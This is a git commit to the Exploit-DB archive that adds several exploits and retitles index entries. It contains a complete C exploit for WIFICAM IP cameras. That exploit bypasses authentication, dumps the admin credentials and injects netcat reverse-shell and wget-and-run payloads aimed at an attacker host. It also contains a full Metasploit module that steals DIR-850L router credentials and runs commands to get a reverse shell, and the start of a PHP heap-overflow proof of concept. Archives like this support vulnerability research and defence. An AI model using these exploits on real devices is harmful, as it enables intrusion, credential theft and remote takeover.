From cb946ad7aacc7c88aae175208f8dcbedf1ff869d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 15 Nov 2017 05:01:30 +0000 Subject: [PATCH] DB: 2017-11-15 9 new exploits GNU TAR 1.15.91 / CPIO 2.5.90 - safer_name_suffix Remote Denial of Service GNU TAR 1.15.91 / CPIO 2.5.90 - 'safer_name_suffix' Remote Denial of Service Microsoft Internet Explorer 11 - 'jscript!JsErrorToString' Use-After-Free PHP 7.1.8 - Heap-Based Buffer Overflow PSFTPd Windows FTP Server 10.0.4 Build 729 - Log Injection / Use-After-Free Realtek Audio Control Panel 1.0.1.65 - Exploit Realtek Audio Microphone Calibration 1.1.1.6 - Exploit Realtek HD Audio Control Panel 2.1.3.2 - Exploit Realtek Audio Control Panel 1.0.1.65 - Buffer Overflow Realtek Audio Microphone Calibration 1.1.1.6 - Buffer Overflow Realtek HD Audio Control Panel 2.1.3.2 - Buffer Overflow Odin Secure FTP 4.1 - Stack Buffer Overflow (LIST) (Metasploit) Odin Secure FTP 4.1 - 'LIST' Stack Buffer Overflow (Metasploit) STUNSHELL Web Shell - PHP Remote Code Execution (Metasploit) STUNSHELL Web Shell - Remote Code Execution (Metasploit) STUNSHELL (Web Shell) - PHP Remote Code Execution (Metasploit) STUNSHELL (Web Shell) - Remote Code Execution (Metasploit) Mako Server 2.5 - OS Command Injection Remote Command Execution (Metasploit) Wireless IP Camera (P2P) WIFICAM - Unauthenticated Remote Code Execution Ulterius Server < 1.9.5.0 - Directory Traversal D-Link DIR-850L - Unauthenticated OS Command Execution (Metasploit) Dup Scout Enterprise 10.0.18 - 'Login' Buffer Overflow Gogs (label pararm) - SQL Injection Gogs - users and repos q SQL Injection Gogs - 'label' SQL Injection Gogs - 'users'/'repos' '?q' SQL Injection Kirby CMS < 2.5.7 - Cross-Site Scripting --- files.csv | 27 ++- platforms/hardware/remote/43142.c | 253 +++++++++++++++++++++++++++ platforms/linux_mips/remote/43143.rb | 230 ++++++++++++++++++++++++ platforms/multiple/dos/43133.php | 142 +++++++++++++++ platforms/multiple/remote/28981.txt | 2 +- platforms/php/webapps/1317.py | 2 +- platforms/php/webapps/26817.txt | 4 +- platforms/php/webapps/38688.txt | 4 +- platforms/php/webapps/43140.txt | 32 ++++ platforms/windows/dos/43131.html | 112 ++++++++++++ platforms/windows/dos/43144.txt | 177 +++++++++++++++++++ platforms/windows/local/43134.c | 4 +- platforms/windows/local/43139.c | 4 +- platforms/windows/remote/43132.rb | 125 +++++++++++++ platforms/windows/remote/43141.py | 111 ++++++++++++ platforms/windows/remote/43145.py | 72 ++++++++ 16 files changed, 1282 insertions(+), 19 deletions(-) create mode 100755 platforms/hardware/remote/43142.c create mode 100755 platforms/linux_mips/remote/43143.rb create mode 100755 platforms/multiple/dos/43133.php create mode 100755 platforms/php/webapps/43140.txt create mode 100755 platforms/windows/dos/43131.html create mode 100755 platforms/windows/dos/43144.txt create mode 100755 platforms/windows/remote/43132.rb create mode 100755 platforms/windows/remote/43141.py create mode 100755 platforms/windows/remote/43145.py diff --git a/files.csv b/files.csv index d2ff02b9e..343eabe59 100644 --- a/files.csv +++ b/files.csv @@ -3887,7 +3887,7 @@ id,file,description,date,author,platform,type,port 30761,platforms/windows/dos/30761.html,"WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities",2007-11-13,"Elazar Broad",windows,dos,0 30763,platforms/linux/dos/30763.php,"KDE Konqueror 3.5.6 - Cookie Handling Denial of Service",2007-11-14,"laurent gaffie",linux,dos,0 40602,platforms/windows/dos/40602.html,"Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)",2016-10-20,"Google Security Research",windows,dos,0 -30766,platforms/linux/dos/30766.c,"GNU TAR 1.15.91 / CPIO 2.5.90 - safer_name_suffix Remote Denial of Service",2007-11-14,"Dmitry V. Levin",linux,dos,0 +30766,platforms/linux/dos/30766.c,"GNU TAR 1.15.91 / CPIO 2.5.90 - 'safer_name_suffix' Remote Denial of Service",2007-11-14,"Dmitry V. Levin",linux,dos,0 30767,platforms/windows/dos/30767.html,"Apple Safari 3.0.x for Windows - 'Document.Location.Hash' Buffer Overflow",2007-06-25,"Azizov E",windows,dos,0 40604,platforms/windows/dos/40604.html,"Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)",2016-10-20,"Google Security Research",windows,dos,0 30776,platforms/linux/dos/30776.txt,"LIVE555 Media Server 2007.11.1 - ParseRTSPRequestString Remote Denial of Service",2007-11-19,"Luigi Auriemma",linux,dos,0 @@ -5729,7 +5729,10 @@ id,file,description,date,author,platform,type,port 43119,platforms/hardware/dos/43119.py,"Debut Embedded httpd 1.20 - Denial of Service",2017-11-02,z00n,hardware,dos,0 43120,platforms/windows/dos/43120.txt,"Avaya OfficeScan (IPO) < 10.1 - ActiveX Buffer Overflow",2017-11-05,hyp3rlinx,windows,dos,0 43124,platforms/windows/dos/43124.py,"SMPlayer 17.11.0 - '.m3u' Buffer Overflow (PoC)",2017-11-05,bzyo,windows,dos,0 +43131,platforms/windows/dos/43131.html,"Microsoft Internet Explorer 11 - 'jscript!JsErrorToString' Use-After-Free",2017-11-09,"Google Security Research",windows,dos,0 +43133,platforms/multiple/dos/43133.php,"PHP 7.1.8 - Heap-Based Buffer Overflow",2017-11-09,"Wei Lei and Liu Yang",multiple,dos,0 43135,platforms/windows/dos/43135.py,"Xlight FTP Server 3.8.8.5 - Buffer Overflow (PoC)",2017-11-07,bzyo,windows,dos,0 +43144,platforms/windows/dos/43144.txt,"PSFTPd Windows FTP Server 10.0.4 Build 729 - Log Injection / Use-After-Free",2017-11-14,"X41 D-Sec GmbH",windows,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -7002,9 +7005,9 @@ id,file,description,date,author,platform,type,port 15483,platforms/windows/local/15483.rb,"Free CD to MP3 Converter 3.1 - Buffer Overflow (SEH)",2010-11-10,"C4SS!0 G0M3S",windows,local,0 15489,platforms/windows/local/15489.py,"MP3-Nator 2.0 - Buffer Overflow (SEH)",2010-11-11,"C4SS!0 G0M3S",windows,local,0 15532,platforms/windows/local/15532.py,"Foxit Reader 4.1.1 - Stack Buffer Overflow",2010-11-14,sud0,windows,local,0 -15539,platforms/windows/local/15539.pl,"Realtek Audio Control Panel 1.0.1.65 - Exploit",2010-11-14,BraniX,windows,local,0 -15540,platforms/windows/local/15540.pl,"Realtek Audio Microphone Calibration 1.1.1.6 - Exploit",2010-11-14,BraniX,windows,local,0 -15541,platforms/windows/local/15541.pl,"Realtek HD Audio Control Panel 2.1.3.2 - Exploit",2010-11-14,BraniX,windows,local,0 +15539,platforms/windows/local/15539.pl,"Realtek Audio Control Panel 1.0.1.65 - Buffer Overflow",2010-11-14,BraniX,windows,local,0 +15540,platforms/windows/local/15540.pl,"Realtek Audio Microphone Calibration 1.1.1.6 - Buffer Overflow",2010-11-14,BraniX,windows,local,0 +15541,platforms/windows/local/15541.pl,"Realtek HD Audio Control Panel 2.1.3.2 - Buffer Overflow",2010-11-14,BraniX,windows,local,0 15542,platforms/windows/local/15542.py,"Foxit Reader 4.1.1 - Stack Overflow (Egghunter)",2010-11-15,dookie,windows,local,0 15566,platforms/windows/local/15566.rb,"DIZzy 1.12 - Local Stack Overflow",2010-11-18,g30rg3_x,windows,local,0 15569,platforms/windows/local/15569.rb,"MP3-Nator - Buffer Overflow (SEH) (DEP Bypass)",2010-11-18,"Muhamad Fadzil Ramli",windows,local,0 @@ -11383,7 +11386,7 @@ id,file,description,date,author,platform,type,port 16713,platforms/windows/remote/16713.rb,"CesarFTP 0.99g - 'MKD' Buffer Overflow (Metasploit)",2011-02-23,Metasploit,windows,remote,0 16714,platforms/win_x86/remote/16714.rb,"Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit)",2010-10-05,Metasploit,win_x86,remote,2100 16715,platforms/windows/remote/16715.rb,"RhinoSoft Serv-U FTPd Server - MDTM Overflow (Metasploit)",2010-09-20,Metasploit,windows,remote,21 -16716,platforms/windows/remote/16716.rb,"Odin Secure FTP 4.1 - Stack Buffer Overflow (LIST) (Metasploit)",2010-11-14,Metasploit,windows,remote,0 +16716,platforms/windows/remote/16716.rb,"Odin Secure FTP 4.1 - 'LIST' Stack Buffer Overflow (Metasploit)",2010-11-14,Metasploit,windows,remote,0 16717,platforms/windows/remote/16717.rb,"Ipswitch WS_FTP Server 5.05 - XMD5 Overflow (Metasploit)",2010-04-30,Metasploit,windows,remote,0 16718,platforms/windows/remote/16718.rb,"Xlink FTP Server - Buffer Overflow (Metasploit)",2010-11-11,Metasploit,windows,remote,0 16719,platforms/windows/remote/16719.rb,"Ipswitch WS_FTP Server 5.03 - MKD Overflow (Metasploit)",2010-10-05,Metasploit,windows,remote,21 @@ -13700,8 +13703,8 @@ id,file,description,date,author,platform,type,port 24897,platforms/windows/remote/24897.rb,"KNet Web Server 1.04b - Buffer Overflow (SEH)",2013-03-29,"Myo Soe",windows,remote,0 24943,platforms/windows/remote/24943.py,"BigAnt Server 2.97 - DDNF 'Username' Buffer Overflow",2013-04-10,"Craig Freyman",windows,remote,0 24955,platforms/linux/remote/24955.rb,"Nagios Remote Plugin Executor - Arbitrary Command Execution (Metasploit)",2013-04-12,Metasploit,linux,remote,5666 -24902,platforms/php/remote/24902.rb,"STUNSHELL Web Shell - PHP Remote Code Execution (Metasploit)",2013-03-29,Metasploit,php,remote,0 -24903,platforms/php/remote/24903.rb,"STUNSHELL Web Shell - Remote Code Execution (Metasploit)",2013-03-29,Metasploit,php,remote,0 +24902,platforms/php/remote/24902.rb,"STUNSHELL (Web Shell) - PHP Remote Code Execution (Metasploit)",2013-03-29,Metasploit,php,remote,0 +24903,platforms/php/remote/24903.rb,"STUNSHELL (Web Shell) - Remote Code Execution (Metasploit)",2013-03-29,Metasploit,php,remote,0 24904,platforms/windows/remote/24904.rb,"Java CMM - Remote Code Execution (Metasploit)",2013-03-29,Metasploit,windows,remote,0 24905,platforms/multiple/remote/24905.rb,"v0pCr3w (Web Shell) - Remote Code Execution (Metasploit)",2013-03-29,Metasploit,multiple,remote,0 24907,platforms/windows/remote/24907.txt,"McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method",2013-03-29,"High-Tech Bridge SA",windows,remote,0 @@ -15947,6 +15950,11 @@ id,file,description,date,author,platform,type,port 43112,platforms/unix/remote/43112.rb,"tnftp - 'savefile' Arbitrary Command Execution (Metasploit)",2017-11-03,Metasploit,unix,remote,0 43118,platforms/hardware/remote/43118.txt,"Actiontec C1000A Modem - Backdoor Account",2017-11-04,"Joseph McDonagh",hardware,remote,0 43121,platforms/windows/remote/43121.txt,"Avaya OfficeScan (IPO) < 10.1 - 'SoftConsole' Buffer Overflow (SEH)",2017-11-05,hyp3rlinx,windows,remote,0 +43132,platforms/windows/remote/43132.rb,"Mako Server 2.5 - OS Command Injection Remote Command Execution (Metasploit)",2017-11-09,Metasploit,windows,remote,0 +43142,platforms/hardware/remote/43142.c,"Wireless IP Camera (P2P) WIFICAM - Unauthenticated Remote Code Execution",2017-03-08,PierreKimSec,hardware,remote,80 +43141,platforms/windows/remote/43141.py,"Ulterius Server < 1.9.5.0 - Directory Traversal",2017-11-13,"Rick Osgood",windows,remote,0 +43143,platforms/linux_mips/remote/43143.rb,"D-Link DIR-850L - Unauthenticated OS Command Execution (Metasploit)",2017-11-14,Metasploit,linux_mips,remote,0 +43145,platforms/windows/remote/43145.py,"Dup Scout Enterprise 10.0.18 - 'Login' Buffer Overflow",2017-11-14,sickness,windows,remote,80 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 @@ -34777,8 +34785,8 @@ id,file,description,date,author,platform,type,port 35228,platforms/php/webapps/35228.txt,"CompactCMS 1.4.1 - Multiple Cross-Site Scripting Vulnerabilities (2)",2011-01-15,"Patrick de Brouwer",php,webapps,0 35231,platforms/php/webapps/35231.txt,"Advanced Webhost Billing System (AWBS) 2.9.2 - 'oid' SQL Injection",2011-01-16,ShivX,php,webapps,0 35233,platforms/multiple/webapps/35233.txt,"B-Cumulus - 'tagcloud' Multiple Cross-Site Scripting Vulnerabilities",2011-01-18,MustLive,multiple,webapps,0 -35237,platforms/multiple/webapps/35237.txt,"Gogs (label pararm) - SQL Injection",2014-11-14,"Timo Schmid",multiple,webapps,80 -35238,platforms/multiple/webapps/35238.txt,"Gogs - users and repos q SQL Injection",2014-11-14,"Timo Schmid",multiple,webapps,0 +35237,platforms/multiple/webapps/35237.txt,"Gogs - 'label' SQL Injection",2014-11-14,"Timo Schmid",multiple,webapps,80 +35238,platforms/multiple/webapps/35238.txt,"Gogs - 'users'/'repos' '?q' SQL Injection",2014-11-14,"Timo Schmid",multiple,webapps,0 35239,platforms/php/webapps/35239.txt,"phpCMS 2008 V2 - 'data.php' SQL Injection",2011-01-17,R3d-D3V!L,php,webapps,0 35245,platforms/php/webapps/35245.txt,"PHPAuctions - 'viewfaqs.php' SQL Injection",2011-01-19,"BorN To K!LL",php,webapps,0 35246,platforms/php/webapps/35246.py,"Joomla! Component com_hdflvplayer < 2.1.0.1 - Arbitrary File Download",2014-11-15,"Claudio Viviani",php,webapps,0 @@ -38824,3 +38832,4 @@ id,file,description,date,author,platform,type,port 43128,platforms/php/webapps/43128.txt,"pfSense 2.3.1_1 - Command Execution",2017-11-07,s4squatch,php,webapps,0 43129,platforms/windows/webapps/43129.txt,"ManageEngine Applications Manager 13 - SQL Injection",2017-11-07,"Cody Sixteen",windows,webapps,9090 43138,platforms/php/webapps/43138.rb,"Web Viewer 1.0.0.193 (Samsung SRN-1670D) - Unrestricted File Upload",2017-11-13,0xFFFFFF,php,webapps,0 +43140,platforms/php/webapps/43140.txt,"Kirby CMS < 2.5.7 - Cross-Site Scripting",2017-11-13,"Ishaq Mohammed",php,webapps,0 diff --git a/platforms/hardware/remote/43142.c b/platforms/hardware/remote/43142.c new file mode 100755 index 000000000..15745092c --- /dev/null +++ b/platforms/hardware/remote/43142.c @@ -0,0 +1,253 @@ +# Exploit-DB Note ~ Source: https://pierrekim.github.io/advisories/expl-goahead-camera.c +# Exploit-DB Note ~ Credit: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html + +#include +#include +#include +#include +#include +#include +#include +#include + + +#define CAM_PORT 80 +#define REMOTE_HOST "192.168.1.1" +#define REMOTE_PORT "1337" +#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" +#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" +#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" + + +#define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" +#define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" + +char * creds(char *argv, + int get_config); + +int rce(char *argv, + char *id, + char attack[], + char desc[]); + + +int main(int argc, + char **argv, + char **envp) +{ + char *id; + + printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n"); + + if (argc < 2) + { + printf("%s target\n", argv[0]); + printf("%s target --get-config will dump the configuration and exit\n", argv[0]); + return (1); + } + + if (argc == 2) + printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST); + + if (argc == 3 && !strcmp(argv[2], "--get-config")) + id = creds(argv[1], 1); + else + id = creds(argv[1], 0); + + if (id == NULL) + { + printf("exploit failed\n"); + return (1); + } + printf("done\n"); + + printf(" login = %s\n", id); + printf(" pass = %s\n", id + 32); + + if (!rce(argv[1], id, PAYLOAD_0, "planting")) + printf("done\n"); + sleep(1); + if (!rce(argv[1], id, PAYLOAD_1, "executing")) + printf("done\n"); + if (!rce(argv[1], id, PAYLOAD_2, "cleaning")) + printf("done\n"); + if (!rce(argv[1], id, PAYLOAD_1, "cleaning")) + printf("done\n"); + + printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT); + + return (0); +} + + +char * creds(char *argv, + int get_config) +{ + int sock; + int n; + struct sockaddr_in serv_addr; + char buf[8192] = { 0 }; + char *out; + char *tmp; + char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n"; + int old_n; + int n_total; + + + sock = 0; + n = 0; + old_n = 0; + n_total = 0; + + printf("[+] bypassing auth ... "); + + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + { + printf("Error while creating socket\n"); + return (NULL); + } + + memset(&serv_addr, '0', sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_port = htons(CAM_PORT); + + if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) + { + printf("Error while inet_pton\n"); + return (NULL); + } + + if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) + { + printf("creds: connect failed\n"); + return (NULL); + } + + if (send(sock, payload, strlen(payload) , 0) < 0) + { + printf("creds: send failed\n"); + return (NULL); + } + + if (!(tmp = malloc(10 * 1024 * sizeof(char)))) + return (NULL); + + if (!(out = calloc(64, sizeof(char)))) + return (NULL); + + while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) + { + n_total += n; + if (n_total < 1024 * 10) + memcpy(tmp + old_n, buf, n); + if (n >= 0) + old_n = n; + } + + close(sock); + + /* + [ HTTP HEADERS ] + ... + + 000????: 0000 0a0a 0a0a 01.. .... .... .... .... + ^^^^ ^^^^ ^^ + Useful reference in the binary data + in order to to find the positions of + credentials + ... + ... + 0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... + 00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ + 00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... + 00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ + ... + + NOTE: reference can be too: + 000????: 0006 0606 0606 0100 000a .... .... .... + + Other method: parse everything, find the "admin" string and extract the associated password + by adding 31bytes after the address of 'a'[dmin]. + Works if the login is admin (seems to be this by default, but can be changed by the user) + */ + + if (get_config) + { + for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++) + printf("%c", tmp[j]); + exit (0); + } + + + for (unsigned int j = 50; j < 10 * 1024; j++) + { + if (tmp[j - 4] == 0x0a && + tmp[j - 3] == 0x0a && + tmp[j - 2] == 0x0a && + tmp[j - 1] == 0x0a && + tmp[j] == 0x01) + { + if (j + 170 < 10 * 1024) + { + strcat(out, &tmp[j + 138]); + strcat(out + 32 * sizeof(char), &tmp[j + 170]); + free(tmp); + + return (out); + } + } + } + + free(tmp); + + return (NULL); +} + +int rce(char *argv, + char *id, + char attack[], + char desc[]) +{ + int sock; + struct sockaddr_in serv_addr; + char *payload; + + if (!(payload = calloc(512, sizeof(char)))) + return (1); + + sock = 0; + + printf("[+] %s payload ... ", desc); + + if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) + { + printf("Error while creating socket\n"); + return (1); + } + + memset(&serv_addr, '0', sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_port = htons(CAM_PORT); + + if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) + { + printf("Error while inet_pton\n"); + return (1); + } + + if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) + { + printf("rce: connect failed\n"); + return (1); + } + + + sprintf(payload, attack, id, id + 32); + if (send(sock, payload, strlen(payload) , 0) < 0) + { + printf("rce: send failed\n"); + return (1); + } + + return (0); +} \ No newline at end of file diff --git a/platforms/linux_mips/remote/43143.rb b/platforms/linux_mips/remote/43143.rb new file mode 100755 index 000000000..d6e0ae7ec --- /dev/null +++ b/platforms/linux_mips/remote/43143.rb @@ -0,0 +1,230 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'openssl' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DIR-850L (Un)authenticated OS Command Exec', + 'Description' => %q{ + This module leverages an unauthenticated credential disclosure + vulnerability to then execute arbitrary commands on DIR-850L routers + as an authenticated user. Unable to use Meterpreter payloads. + }, + 'Author' => [ + 'Mumbai', # https://github.com/realoriginal (module) + 'Zdenda' # vuln discovery + ], + 'References' => [ + ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'], + ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'], + ], + 'DisclosureDate' => 'Aug 9 2017', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp' + }, + 'Privileged' => true, + 'Payload' => { + 'DisableNops' => true, + }, + 'Targets' => [[ 'Automatic', {} ]], + )) + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res.headers['Server'] + auth = res.headers['Server'] + if auth =~ /DIR-850L/ + if auth =~ /WEBACCESS\/1\.0/ + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Detected + end + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + Exploit::CheckCode::Unknown + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + + # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well... + # should write an auxiliary module to-do -> WRITE AUXILIARY + def retrieve_creds + begin + xml = "\r\n" + xml << "\r\n" + xml << "\r\n" + xml << " ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml\r\n" + xml << "\r\n" + xml << "" + res = send_request_cgi({ + 'uri' => '/hedwig.cgi', + 'method' => 'POST', + 'encode_params' => false, + 'headers' => { + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*' + }, + 'ctype' => 'text/xml', + 'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}", + 'data' => xml, + }) + if res.body =~ /(.*)<\/password>/ # fixes stack trace issue + parse = res.get_xml_document + username = parse.at('//name').text + password = parse.at('//password').text + vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}") + loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body) + print_good("#{peer} - Downloaded credentials to #{loot}") + return username, password + else + fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") + end + end + + def retrieve_uid + begin + res = send_request_cgi({ + 'uri' => '/authentication.cgi', + 'method' => 'GET', + }) + parse = res.get_json_document + uid = parse['uid'] + challenge = parse['challenge'] + return uid, challenge + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") + end + end + + def login(username, password) + uid, challenge = retrieve_uid + begin + hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase + send_request_cgi({ + 'uri' => '/authentication.cgi', + 'method' => 'POST', + 'data' => "id=#{username}&password=#{hash}", + 'cookie' => "uid=#{uid}" + }) + return uid + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") + end + end + + def execute_command(cmd, opts) + uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command + payload = "\r\n" + payload << "\r\n" + payload << "\r\n" + payload << " DEVICE.TIME\r\n" + payload << " \r\n" + payload << " \r\n" + payload << "\r\n" + payload << "" + begin + # save configuration + res = send_request_cgi({ + 'uri' => '/hedwig.cgi', + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => payload, + 'cookie' => "uid=#{uid}" + }) + # execute configuration + res = send_request_cgi({ + 'uri' => '/pigwidgeon.cgi', + 'method' => 'POST', + 'data' => 'ACTIONS=SETCFG,ACTIVATE', + 'cookie' => "uid=#{uid}" + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") + end + end + + + def exploit + print_status("#{peer} - Connecting to target...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url") + end + # + # Information Retrieval, obtains creds and logs in + # + @username, @password = retrieve_creds + execute_cmdstager( + :flavor => :wget, + :linemax => 200 + ) + end +end \ No newline at end of file diff --git a/platforms/multiple/dos/43133.php b/platforms/multiple/dos/43133.php new file mode 100755 index 000000000..61b64219f --- /dev/null +++ b/platforms/multiple/dos/43133.php @@ -0,0 +1,142 @@ +Description: +------------ +A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs. + +$ ~/php-7.1.8/sapi/cli/php --version +PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS ) +Copyright (c) 1997-2017 The PHP Group +Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies + +Configuration: +CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx + +Credit: +Wei Lei and Liu Yang of Nanyang Technological University + +Test script: +--------------- +$ cat wddx.php +*/ + + +/* +$ cat repro2.wddx + + + +
+ + + + frONt of 0 0 + + + + + +/* +Expected result: +---------------- +NO CRASH + +Actual result: +-------------- +$ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx +309 bytes read. +================================================================= +==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc +READ of size 1 at 0xb57057fc thread T0 + #0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 + #1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228 + #2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 + #3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 + #4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 + #5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 + #6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 + #7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 + #8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 + #9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 + #10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 + #11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 + #12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 + #13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 + #14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 + #15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 + #16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 + #17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 + #18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 + #19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) + #20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230) +0xb57057fc is located 0 bytes to the right of 12-byte region 